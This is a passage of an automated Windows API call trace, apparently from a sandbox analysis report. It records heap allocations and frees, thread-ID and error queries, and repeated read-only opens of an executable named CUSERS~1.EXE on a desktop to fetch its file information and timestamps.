Ptr=0x325a030, Size=0x120) returned 0x2c37020 [0075.454] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37020, Size=0x160) returned 0x325fc80 [0075.454] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325fc80, Size=0x1a8) returned 0x3028938 [0075.454] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028938, Size=0x1f8) returned 0x2c319f0 [0075.454] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c319f0, Size=0x250) returned 0x2ac46f8 [0075.454] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac46f8, Size=0x2b4) returned 0x2c2d250 [0075.454] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2d250, Size=0x324) returned 0x2bab928 [0075.454] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bab928, Size=0x3a4) returned 0x2ba7bc8 [0075.454] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x21e) returned 0x3237c48 [0075.454] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba7bc8, Size=0x434) returned 0x31d42c0 [0075.454] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x748) returned 0x31d5388 [0075.454] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x3307900 [0075.455] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31d42c0, Size=0x4d4) returned 0x325d878 [0075.455] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325d878, Size=0x588) returned 0x3264ea8 [0075.455] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3264ea8, Size=0x654) returned 0x3269650 [0075.455] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x279) returned 0x31d5ad8 [0075.456] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3269650, Size=0x738) returned 0x334ac28 [0075.456] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2e2) returned 0x31d5d60 [0075.456] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x334ac28, Size=0x838) returned 0x32ef0e0 [0075.456] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ef0e0 | out: hHeap=0x2ad0000) returned 1 [0075.456] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32fcaa0 | out: hHeap=0x2ad0000) returned 1 [0075.456] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.457] GetCurrentThreadId () returned 0x9b0 [0075.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.457] GetCurrentThreadId () returned 0x9b0 [0075.457] GetCurrentThreadId () returned 0x9b0 [0075.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.457] GetCurrentThreadId () returned 0x9b0 [0075.457] GetCurrentThreadId () returned 0x9b0 [0075.457] GetCurrentThreadId () returned 0x9b0 [0075.457] GetCurrentThreadId () returned 0x9b0 [0075.457] GetCurrentThreadId () returned 0x9b0 [0075.457] GetCurrentThreadId () returned 0x9b0 [0075.457] GetCurrentThreadId () returned 0x9b0 [0075.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.457] GetCurrentThreadId () returned 0x9b0 [0075.457] GetCurrentThreadId () returned 0x9b0 [0075.457] GetLastError () returned 0x0 [0075.457] GetLastError () returned 0x0 [0075.457] GetLastError () returned 0x0 [0075.457] GetLastError () returned 0x0 [0075.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c842d8 | out: hHeap=0x2ad0000) returned 1 [0075.458] GetLastError () returned 0x0 [0075.458] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ec [0075.458] GetFileType (hFile=0x2ec) returned 0x1 [0075.458] GetLastError () returned 0x0 [0075.458] GetCurrentThreadId () returned 0x9b0 [0075.458] GetLastError () returned 0x0 [0075.458] GetFileType (hFile=0x2ec) returned 0x1 [0075.458] GetFileInformationByHandle (in: hFile=0x2ec, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0075.458] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.458] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.458] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.458] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.458] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.458] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.459] GetLastError () returned 0x0 [0075.459] GetCurrentThreadId () returned 0x9b0 [0075.459] GetLastError () returned 0x0 [0075.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0075.459] GetLastError () returned 0x0 [0075.459] GetLastError () returned 0x0 [0075.459] GetCurrentThreadId () returned 0x9b0 [0075.459] GetLastError () returned 0x0 [0075.459] GetCurrentThreadId () returned 0x9b0 [0075.459] GetLastError () returned 0x0 [0075.459] GetLastError () returned 0x0 [0075.459] GetCurrentThreadId () returned 0x9b0 [0075.459] GetLastError () returned 0x0 [0075.459] GetCurrentThreadId () returned 0x9b0 [0075.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3914) returned 0x334b910 [0075.459] GetLastError () returned 0x0 [0075.460] GetLastError () returned 0x0 [0075.460] GetCurrentThreadId () returned 0x9b0 [0075.460] GetLastError () returned 0x0 [0075.460] GetCurrentThreadId () returned 0x9b0 [0075.461] GetLastError () returned 0x0 [0075.461] GetLastError () returned 0x0 [0075.461] GetCurrentThreadId () returned 0x9b0 [0075.461] GetLastError () returned 0x0 [0075.461] GetCurrentThreadId () returned 0x9b0 [0075.461] GetLastError () returned 0x0 [0075.461] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0075.461] CloseHandle (hObject=0x2ec) returned 1 [0075.461] GetLastError () returned 0x0 [0075.461] GetCurrentThreadId () returned 0x9b0 [0075.461] GetLastError () returned 0x0 [0075.461] GetLastError () returned 0x0 [0075.461] GetCurrentThreadId () returned 0x9b0 [0075.461] GetLastError () returned 0x0 [0075.462] GetLastError () returned 0x0 [0075.462] GetCurrentThreadId () returned 0x9b0 [0075.462] GetLastError () returned 0x0 [0075.462] GetLastError () returned 0x0 [0075.462] GetCurrentThreadId () returned 0x9b0 [0075.462] GetLastError () returned 0x0 [0075.462] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f4a80 | out: hHeap=0x2ad0000) returned 1 [0075.462] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cd360 | out: hHeap=0x2ad0000) returned 1 [0075.462] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x334f230, Size=0x8950) returned 0x334f230 [0075.463] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334b910 | out: hHeap=0x2ad0000) returned 1 [0075.463] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5ce) returned 0x31d6050 [0075.463] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28c) returned 0x31d6628 [0075.463] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa12) returned 0x31cd360 [0075.463] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84170 [0075.463] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84170, Size=0x20) returned 0x3028490 [0075.463] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028490, Size=0x40) returned 0x2a19178 [0075.463] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19178, Size=0x64) returned 0x2a19508 [0075.463] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19508, Size=0x8c) returned 0x2ac0dd0 [0075.463] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0dd0, Size=0xb8) returned 0x2cdeae8 [0075.463] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cdeae8, Size=0xe8) returned 0x325a030 [0075.463] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x22a) returned 0x31d68c0 [0075.463] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x41a) returned 0x31d6af8 [0075.464] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325a030, Size=0x120) returned 0x2c37148 [0075.464] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37148, Size=0x160) returned 0x325fb18 [0075.464] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325fb18, Size=0x1a8) returned 0x3028938 [0075.464] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x322) returned 0x2bab298 [0075.464] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028938, Size=0x1f8) returned 0x2c319f0 [0075.464] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x258) returned 0x31cdd80 [0075.464] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c319f0, Size=0x250) returned 0x2ac3d58 [0075.464] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x26b) returned 0x31cdfe0 [0075.464] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac3d58, Size=0x2b4) returned 0x2c2c730 [0075.464] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x258) returned 0x31ce258 [0075.464] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2c730, Size=0x324) returned 0x2bab5e0 [0075.464] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x21a) returned 0x31ce4b8 [0075.465] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bab5e0, Size=0x3a4) returned 0x2ba7070 [0075.465] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba7070, Size=0x434) returned 0x31d2080 [0075.465] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31d2080, Size=0x4d4) returned 0x325d878 [0075.465] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325d878, Size=0x588) returned 0x3261aa0 [0075.465] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3261aa0 | out: hHeap=0x2ad0000) returned 1 [0075.465] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334f230 | out: hHeap=0x2ad0000) returned 1 [0075.465] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.466] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.466] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e7ee0 [0075.466] GetCurrentThreadId () returned 0x9b0 [0075.466] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.466] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0075.466] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.466] GetCurrentThreadId () returned 0x9b0 [0075.466] GetCurrentThreadId () returned 0x9b0 [0075.466] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.466] GetCurrentThreadId () returned 0x9b0 [0075.466] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3f3) returned 0x31ce6e0 [0075.467] GetCurrentThreadId () returned 0x9b0 [0075.467] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0075.467] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.467] GetCurrentThreadId () returned 0x9b0 [0075.467] GetCurrentThreadId () returned 0x9b0 [0075.467] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.467] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.467] GetCurrentThreadId () returned 0x9b0 [0075.467] GetCurrentThreadId () returned 0x9b0 [0075.467] GetCurrentThreadId () returned 0x9b0 [0075.467] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0075.467] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0075.467] GetCurrentThreadId () returned 0x9b0 [0075.467] GetCurrentThreadId () returned 0x9b0 [0075.467] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.467] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.467] GetCurrentThreadId () returned 0x9b0 [0075.467] GetCurrentThreadId () returned 0x9b0 [0075.467] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0075.467] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0075.467] GetCurrentThreadId () returned 0x9b0 [0075.467] GetCurrentThreadId () returned 0x9b0 [0075.468] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.468] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.468] GetCurrentThreadId () returned 0x9b0 [0075.468] GetCurrentThreadId () returned 0x9b0 [0075.468] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.468] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.468] GetCurrentThreadId () returned 0x9b0 [0075.468] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183840 [0075.468] GetCurrentThreadId () returned 0x9b0 [0075.468] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.468] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.468] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.468] GetCurrentThreadId () returned 0x9b0 [0075.468] GetCurrentThreadId () returned 0x9b0 [0075.468] GetCurrentThreadId () returned 0x9b0 [0075.468] GetCurrentThreadId () returned 0x9b0 [0075.468] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.468] GetCurrentThreadId () returned 0x9b0 [0075.468] GetCurrentThreadId () returned 0x9b0 [0075.468] GetLastError () returned 0x0 [0075.468] GetLastError () returned 0x0 [0075.469] GetLastError () returned 0x0 [0075.469] GetLastError () returned 0x0 [0075.469] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84290 | out: hHeap=0x2ad0000) returned 1 [0075.469] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32ab9b0 [0075.469] GetLastError () returned 0x0 [0075.469] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ec [0075.469] GetFileType (hFile=0x2ec) returned 0x1 [0075.469] GetLastError () returned 0x0 [0075.469] GetCurrentThreadId () returned 0x9b0 [0075.469] GetLastError () returned 0x0 [0075.469] GetFileType (hFile=0x2ec) returned 0x1 [0075.469] GetFileInformationByHandle (in: hFile=0x2ec, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0075.469] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0075.469] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0075.469] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0075.469] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0075.470] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0075.470] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0075.470] GetLastError () returned 0x0 [0075.470] GetCurrentThreadId () returned 0x9b0 [0075.470] GetLastError () returned 0x0 [0075.470] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.470] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0075.470] GetLastError () returned 0x0 [0075.470] GetLastError () returned 0x0 [0075.470] GetCurrentThreadId () returned 0x9b0 [0075.470] GetLastError () returned 0x0 [0075.470] GetCurrentThreadId () returned 0x9b0 [0075.470] GetCurrentThreadId () returned 0x9b0 [0075.470] GetLastError () returned 0x0 [0075.470] GetLastError () returned 0x0 [0075.470] GetCurrentThreadId () returned 0x9b0 [0075.470] GetLastError () returned 0x0 [0075.470] GetCurrentThreadId () returned 0x9b0 [0075.470] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xd47) returned 0x32f0a60 [0075.471] GetLastError () returned 0x0 [0075.471] GetLastError () returned 0x0 [0075.471] GetCurrentThreadId () returned 0x9b0 [0075.471] GetLastError () returned 0x0 [0075.471] GetCurrentThreadId () returned 0x9b0 [0075.471] GetLastError () returned 0x0 [0075.471] GetLastError () returned 0x0 [0075.472] GetCurrentThreadId () returned 0x9b0 [0075.472] GetLastError () returned 0x0 [0075.472] GetLastError () returned 0x0 [0075.472] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0075.472] CloseHandle (hObject=0x2ec) returned 1 [0075.472] GetLastError () returned 0x0 [0075.472] GetCurrentThreadId () returned 0x9b0 [0075.472] GetLastError () returned 0x0 [0075.472] GetLastError () returned 0x0 [0075.472] GetCurrentThreadId () returned 0x9b0 [0075.472] GetLastError () returned 0x0 [0075.472] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f17b0 | out: hHeap=0x2ad0000) returned 1 [0075.472] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32f3388, Size=0x1e72) returned 0x32f3388 [0075.472] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f0a60 | out: hHeap=0x2ad0000) returned 1 [0075.472] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84398 [0075.472] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84398, Size=0x20) returned 0x30283f0 [0075.472] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30283f0, Size=0x40) returned 0x2a19178 [0075.473] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19178, Size=0x64) returned 0x2a19968 [0075.473] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19968, Size=0x8c) returned 0x2ac0dd0 [0075.473] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0dd0, Size=0xb8) returned 0x2cde728 [0075.473] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cde728, Size=0xe8) returned 0x325a990 [0075.473] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325a990, Size=0x120) returned 0x2c374c0 [0075.473] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c374c0, Size=0x160) returned 0x325ee70 [0075.473] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325ee70, Size=0x1a8) returned 0x3028938 [0075.473] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028938, Size=0x1f8) returned 0x2c30398 [0075.473] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c30398 | out: hHeap=0x2ad0000) returned 1 [0075.473] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f3388 | out: hHeap=0x2ad0000) returned 1 [0075.473] GetCurrentThreadId () returned 0x9b0 [0075.473] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.473] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.473] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e81f0 [0075.473] GetCurrentThreadId () returned 0x9b0 [0075.473] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.474] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.474] GetCurrentThreadId () returned 0x9b0 [0075.474] GetCurrentThreadId () returned 0x9b0 [0075.474] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.474] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.474] GetCurrentThreadId () returned 0x9b0 [0075.474] GetCurrentThreadId () returned 0x9b0 [0075.474] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.474] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.474] GetCurrentThreadId () returned 0x9b0 [0075.474] GetCurrentThreadId () returned 0x9b0 [0075.474] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.474] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.474] GetCurrentThreadId () returned 0x9b0 [0075.474] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183860 [0075.474] GetCurrentThreadId () returned 0x9b0 [0075.474] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ac30 [0075.474] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.474] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.474] GetCurrentThreadId () returned 0x9b0 [0075.474] GetCurrentThreadId () returned 0x9b0 [0075.474] GetCurrentThreadId () returned 0x9b0 [0075.474] GetCurrentThreadId () returned 0x9b0 [0075.475] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.475] GetCurrentThreadId () returned 0x9b0 [0075.475] GetCurrentThreadId () returned 0x9b0 [0075.475] GetCurrentThreadId () returned 0x9b0 [0075.475] GetLastError () returned 0x0 [0075.475] GetLastError () returned 0x0 [0075.475] GetLastError () returned 0x0 [0075.475] GetLastError () returned 0x0 [0075.475] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84158 | out: hHeap=0x2ad0000) returned 1 [0075.475] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32ab9b0 [0075.475] GetLastError () returned 0x0 [0075.475] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9868, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ec [0075.475] GetFileType (hFile=0x2ec) returned 0x1 [0075.475] GetLastError () returned 0x0 [0075.475] GetCurrentThreadId () returned 0x9b0 [0075.475] GetLastError () returned 0x0 [0075.475] GetFileType (hFile=0x2ec) returned 0x1 [0075.475] GetFileInformationByHandle (in: hFile=0x2ec, lpFileInformation=0x9b98e4 | out: lpFileInformation=0x9b98e4) returned 1 [0075.476] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0075.476] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0075.476] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f0, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0075.476] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0075.476] FileTimeToLocalFileTime (in: lpFileTime=0x9b98e8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0075.476] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0075.476] GetLastError () returned 0x0 [0075.476] GetCurrentThreadId () returned 0x9b0 [0075.476] GetLastError () returned 0x0 [0075.476] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.476] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20108 | out: hHeap=0x2ad0000) returned 1 [0075.476] GetLastError () returned 0x0 [0075.476] GetLastError () returned 0x0 [0075.476] GetCurrentThreadId () returned 0x9b0 [0075.476] GetLastError () returned 0x0 [0075.476] GetCurrentThreadId () returned 0x9b0 [0075.476] GetLastError () returned 0x0 [0075.476] GetLastError () returned 0x0 [0075.477] GetCurrentThreadId () returned 0x9b0 [0075.477] GetLastError () returned 0x0 [0075.477] GetCurrentThreadId () returned 0x9b0 [0075.477] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3012) returned 0x32f0a60 [0075.477] GetLastError () returned 0x0 [0075.477] GetLastError () returned 0x0 [0075.478] GetCurrentThreadId () returned 0x9b0 [0075.478] GetLastError () returned 0x0 [0075.478] GetCurrentThreadId () returned 0x9b0 [0075.478] GetLastError () returned 0x0 